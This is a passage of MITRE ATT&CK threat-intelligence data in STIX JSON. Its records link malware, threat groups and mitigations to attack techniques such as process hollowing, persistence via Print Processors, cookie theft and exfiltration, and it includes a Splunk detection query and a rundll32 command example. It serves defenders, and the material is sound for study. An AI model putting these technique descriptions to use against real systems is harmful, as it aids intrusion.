to list processes.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e2075a3-5271-4ebf-aa9b-6a09ea985b76","type":"relationship","created":"2019-06-14T17:35:11.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-14T23:34:13.643Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e20ce68-4062-4993-a89e-93bca3dbbdc4","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T20:49:41.382Z","description":"Monitor for newly executed processes that may abuse Unix shell commands and scripts for execution.\n\nAnalytic 1 - Look for unusual Unix shell process creation.\n\n sourcetype=linux_secure OR sourcetype=macos_secure\n| search (command=\"sh\" OR command=\"bash\" OR command=\"zsh\")\n| eval suspicious_process=if(like(command_line, \"%.sh\" OR \"%.bash\" OR \"%.zsh\"), \"Yes\", \"No\")\n| where suspicious_process=\"Yes\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e272852-4033-4e88-8f0a-b957c1a6b74c","created":"2024-08-23T19:48:08.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T19:57:43.827Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can determine the geographical location of a victim host by checking the language.(Citation: Kandji Cuckoo April 2024)\n","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e27ff4a-fa86-46b1-8aea-748ec398b47e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2019-09-09T19:12:32.909Z","description":"(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e2844e5-5d47-4305-befa-f20ae73bc3f9","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor for changes made to launch agents to repeatedly execute malicious payloads as part of persistence.","source_ref":"x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e285f16-a145-46f5-aad3-0ea33392f147","type":"relationship","created":"2019-02-12T18:20:09.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2020-03-17T13:23:46.650Z","description":"[Denis](https://attack.mitre.org/software/S0354) performed process hollowing through the API calls CreateRemoteThread, ResumeThread, and Wow64SetThreadContext.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e29cbcc-3e45-4e62-a66f-4479b310ccdb","type":"relationship","created":"2020-06-01T13:14:42.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T13:14:42.559Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use application shimming for persistence if it detects it is running as admin on Windows XP or 7, by creating a shim database to patch services.exe.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e2a3e72-5d25-47fb-b0ff-e804073cc272","type":"relationship","created":"2021-03-19T13:19:57.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T13:19:57.054Z","description":"[Out1](https://attack.mitre.org/software/S0594) can use HTTP and HTTPS in communications with remote hosts.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e2ab2c0-31f1-4ff0-9488-b412d72b70f0","created":"2024-09-09T14:42:22.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T13:24:25.011Z","description":"When executed from the command line, rundll32 is used to call the ClickOnce API functions (ex: `rundll32.exe dfshim.dll,ShOpenVerbApplication file.appref-ms`).","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--cc279e50-df85-4c8e-be80-6dc2eda8849c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e2baacb-9033-49a9-890a-f48c87ab1531","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}],"modified":"2020-03-11T17:32:22.215Z","description":"[HAMMERTOSS](https://attack.mitre.org/software/S0037) exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.(Citation: FireEye APT29)","relationship_type":"uses","source_ref":"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e3438f9-573c-4912-81e7-650094af62ac","created":"2022-09-08T13:53:52.852Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:53:52.852Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors sent spearphishing emails containing links to compromised websites where malware was downloaded.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1e345391-ccd8-49c9-9520-496070670e6c","created":"2022-05-05T15:44:14.783Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) can drop itself in `C:\\Windows\\System32\\spool\\prtprocs\\x64\\winprint.dll` as an alternative Print Processor to be loaded automatically when the spoolsv Windows service starts.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T15:44:14.783Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e363612-b503-47b2-b697-daf75ef3740a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"}],"modified":"2020-03-17T00:16:29.158Z","description":"[APT37](https://attack.mitre.org/groups/G0067) uses HTTPS to conceal C2 communications.(Citation: Talos Group123)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e3a1ea2-55fb-4abc-970a-e384b4c7d314","type":"relationship","created":"2020-05-06T21:01:23.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-14T20:55:00.175Z","description":"[Attor](https://attack.mitre.org/software/S0438) has encrypted data symmetrically using a randomly generated Blowfish (OFB) key which is encrypted with a public RSA key.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e4070de-5bae-4900-a3a8-907190f34dd4","type":"relationship","created":"2020-01-28T13:50:22.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-12T13:04:14.395Z","description":"Use multi-factor authentication for user and privileged accounts.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e42c88d-1513-445c-ae63-7d2a1840753f","created":"2024-05-25T16:35:11.417Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:35:11.417Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) contains several anti-analysis and anti-virtualization checks.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e46f5cf-dfaf-4cc6-a685-ee876f371b7e","created":"2019-06-05T17:31:22.226Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.890Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used tmp files to stage gathered information.(Citation: TrendMicro Ursnif Mar 2015)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e526bd3-f353-4b05-a9c9-1f8ddc59bc33","type":"relationship","created":"2020-11-13T19:25:52.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}],"modified":"2020-11-13T19:31:02.870Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can steal the victim's cookies to use for duplicating the active session from another device.(Citation: IBM Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1e549632-405c-49fc-8594-3666ad22c681","created":"2021-11-12T19:30:36.053Z","x_mitre_version":"1.0","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Diavol](https://attack.mitre.org/software/S0659) has encrypted files using an RSA key though the `CryptEncrypt` API and has appended filenames with \".lock64\". (Citation: Fortinet Diavol July 2021)","modified":"2022-04-15T12:37:51.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e54c837-6d59-40dc-a114-3bcef0037327","type":"relationship","created":"2020-05-06T17:47:43.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-05-06T17:47:43.610Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to upload and download files to and from the infected host.(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e59381b-fcf5-43e1-b8d5-499db015b208","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T22:37:17.409Z","description":"[iKitten](https://attack.mitre.org/software/S0278) will look for the current IP address.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e5cae4c-240d-495b-9eca-34bba583d894","type":"relationship","created":"2020-05-06T21:12:31.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:12:31.929Z","description":"[Okrum](https://attack.mitre.org/software/S0439)'s backdoor has used cmd.exe to execute arbitrary commands as well as batch scripts to update itself to a newer version.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1e60c0b8-854b-4d2e-a77b-ed98f3cc4e66","created":"2022-04-11T00:45:40.407Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) has been signed by valid certificates assigned to Hermetica Digital.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:45:40.407Z","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e610bf7-149f-46f2-9177-cf5f745488ad","type":"relationship","created":"2021-05-11T18:51:16.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T01:35:43.786Z","description":"Develop and publish policies that define acceptable information to be stored in code repositories.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e624981-b765-41ac-a2dc-468ba07e3614","created":"2020-03-10T17:45:00.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Umbrella DGA Brute Force","description":"Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019.","url":"https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/"},{"source_name":"Akamai DGA Mitigation","description":"Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.","url":"https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e"},{"source_name":"Cybereason Dissecting DGAs","description":"Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.","url":"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:35:46.734Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Malware researchers can reverse engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e666715-f087-44ad-aaa5-d22fbda42fba","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2020-03-16T16:12:36.522Z","description":"A [Patchwork](https://attack.mitre.org/groups/G0040) file stealer can run a TaskScheduler DLL to add persistence.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e669c57-11e8-4088-904c-84940458be8e","type":"relationship","created":"2020-06-25T18:24:00.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}],"modified":"2020-06-25T18:24:00.604Z","description":"[WindTail](https://attack.mitre.org/software/S0466) can invoke Apple APIs contentsOfDirectoryAtPath, pathExtension, and (string) compare.(Citation: objective-see windtail2 jan 